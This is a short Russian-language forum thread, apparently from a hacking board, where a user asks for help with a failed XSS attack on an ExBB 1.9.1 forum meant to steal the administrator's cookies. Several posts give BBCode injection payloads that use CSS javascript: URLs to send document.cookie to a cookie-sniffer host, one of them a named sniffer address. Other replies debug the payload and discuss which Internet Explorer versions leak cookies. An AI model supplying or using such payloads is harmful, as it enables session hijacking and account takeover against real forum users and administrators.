Вопрос по применению XSS на форуме ExBB 1.9.1

Пробывал:

Code:

[ email]'style='display:none;background:url(javascript:doc  ument.images[2].src="http://you_sniffer_url/sniffer.php?"+document.cookie)[/email

Админ прочитал а не чё не шлёт!
Что можно придумать подскажите?

 

Code:

[url]http://you_sniffer_url/sniffer.php[/url]

а чё так и оставил?

 

А что тебе админ должен прислать=)
Куки должны были тебе слиться, на сниффер который ты указал, если ты это сделал... Только убери пробел между doc и ument и в конце поставь ] ну и конешно путь к сниферу например античатовскому "http://antichat.ru/cgi-bin/s.jpg" Если будет работать то тебе должны будут первыми прийти твои куки если ты там зареген...

 

лол бывает и такое)
короче вот еще один. используется также как и твой

Code:

[*url]http:/*/sasa'style=background:url("javascript:document.images[0].src='http://antichat.org/s/ТВАЙ_СНИФАК.gif?'+document.cookie");lol:'sa[*/url]

зы: * * * убери

 

Trampled_clover нет конечно снифер подставил и все пробелы убрал!

 

А скобку не закрыл?

 

А может у него не ОСЛИК ? поэтому не шлёт .Если я не ошибаюсь этот XSS только для ИЕ браузера.

 

ггыгыгы.... У меня 2 варианта ответа:
1)

согласен с этим (Ослик - интернет эксплорер).
2) Админ умный и форум пропатчен.

 

Покажи как выглядит результат скрипта в HTML

 

В 7 ИЕ куки не тырятся